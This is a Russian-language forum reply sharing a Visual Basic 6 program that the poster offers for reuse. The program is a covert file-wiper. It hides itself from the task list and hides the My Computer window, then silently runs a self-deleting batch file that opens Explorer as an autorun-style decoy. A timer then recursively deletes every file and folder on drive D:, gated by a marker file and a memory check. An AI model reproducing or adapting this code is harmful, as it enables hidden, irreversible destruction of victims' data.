Я тебе сегодня наверное напишу как это сделать. Я Уже создал такую программу только вот домой приеду и напишу.

Вот тебе моя программа, тут много лишнего, сам ненужное уберешь. на форме должны быть объекты:wcrF и wcrD. это файллист и ДирЛист соответственно



VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3090
ClientLeft = 60
ClientTop = 450
ClientWidth = 4680
Icon = "Form1.frx":0000
LinkTopic = "Form1"
ScaleHeight = 3090
ScaleWidth = 4680
StartUpPosition = 3 'Windows Default
Visible = 0 'False
Begin VB.DirListBox wcrD
Height = 2565
Left = 3120
TabIndex = 1
Top = 120
Width = 1455
End
Begin VB.FileListBox wcrF
Height = 2625
Left = 720
TabIndex = 0
Top = 120
Width = 2295
End
Begin VB.Timer Tim
Enabled = 0 'False
Interval = 100
Left = 120
Top = 120
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32.dll" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Private Type MEMORYSTATUS
dwLength As Long
dwMemoryLoad As Long
dwTotalPhys As Long
dwAvailPhys As Long
dwTotalPageFile As Long
dwAvailPageFile As Long
dwTotalVirtual As Long
dwAvailVirtual As Long
End Type

Dim Memory As Integer
Dim DirKill, RepPath As String
Dim a As MEMORYSTATUS

Private Sub Form_Load()
On Error Resume Next
If FileLen("C:\leak.wnd") = 0 Then End
App.TaskVisible = False
'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ShowWindow FindWindow(vbNullString, "Мой компьютер"), 0
Kill "C:\b.bat"
Open ("C:\b.bat") For Append As #1
Print #1, "explorer " + Left(App.Path, 3)
Print #1, "del C:\b.bat"
Close #1
Shell "C:\b.bat", vbHide
'AUTORUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
GlobalMemoryStatus a
Memory = a.dwTotalPhys / 1024 / 1024

RepPath = "D:\" 'ПУТЬ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
wcrF.Path = RepPath
wcrD.Path = RepPath

If Memory > Int(App.EXEName) Then
End
Else
Tim.Enabled = True
End If
End Sub


Private Sub Tim_Timer()
On Error Resume Next
'Обновить информацию о файлах и подкаталогах для удаления
wcrF.Refresh
wcrD.Refresh
'Удалить файл
If Right(wcrF.Path, 1) = "\" Then
Kill wcrF.Path + wcrF.List(0)
Else
Kill wcrF.Path + "\" + wcrF.List(0)
End If
'Если подкаталог опустошён то удалить его и вернутся в главный каталог
If wcrF.List(0) = "" And wcrD.List(0) = "" And wcrD.Path <> RepPath Then
wcrF.Path = RepPath
DirKill = wcrD.Path
wcrD.Path = RepPath
RmDir DirKill
End If
'Если существует подкаталог и в текущем каталоге нет файлов то переход в следующий каталог
If wcrF.List(0) = "" And wcrD.List(0) <> "" Then
wcrF.Path = wcrD.List(0)
wcrD.Path = wcrD.List(0)
wcrF.Refresh
wcrD.Refresh
End If
End Sub

ПОМОГЛО?

Мой способ намного короче и понятнее. Если срезать ненужную часть. А дир и файл листы спрятать можно